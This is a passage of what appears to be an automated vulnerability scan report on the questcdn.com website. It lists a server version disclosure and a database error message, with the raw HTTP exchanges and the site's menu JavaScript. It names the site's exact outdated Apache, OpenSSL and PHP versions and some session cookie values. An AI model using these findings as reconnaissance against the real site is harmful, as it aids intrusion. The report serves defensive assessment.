var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
Apache Module Version Disclosure

Apache Module Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://www.questcdn.com/

Extracted Version

mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /questcdn/projects/MyProjects/my_projects.html

/questcdn/projects/MyProjects/my_projects.html

http://www.questcdn.com/questcdn/projects/MyProjects/my_projects.html

Request

GET /questcdn/projects/MyProjects/my_projects.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:35:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28797
Content-Type: text/html;charset=utf-8


<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
